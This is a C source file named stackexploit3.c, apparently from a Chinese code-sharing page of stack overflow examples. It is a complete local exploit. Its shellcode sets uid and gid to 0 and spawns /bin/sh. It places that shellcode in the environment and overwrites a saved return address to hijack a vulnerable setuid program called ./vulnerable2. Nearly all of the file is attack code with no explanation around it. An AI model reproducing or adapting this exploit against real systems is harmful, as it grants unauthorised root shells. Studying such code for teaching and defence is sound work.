stackexploit3.c

来自「栈溢出源码」· C语言 代码 · 共 49 行

#include<stdio.h> 

char shellcode[]= 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x17" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x2e" 
"\xcd\x80" 
"\x31\xc0" 
"\x50" 
"\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x31\xd2" 
"\xb0\x0b" 
"\xcd\x80" 
"\x31\xdb" 
"\x89\xd8" 
"\xb0\x01" 
"\xcd\x80"; 

int main(int argc,char **argv){ 
   char buf[32]; 
   char *p[]={"./vulnerable2",buf,NULL}; 
   char *env[]={"HOME=/root",shellcode,NULL}; 
   unsigned long ret; 
   ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *); 

   memset(buf,0x41,sizeof(buf)); 
   memcpy(&buf[28],&ret,4); 

   printf("ret is at 0x%8x\n",ret); 
   execve(p[0],p,env); 

   return 0; 
}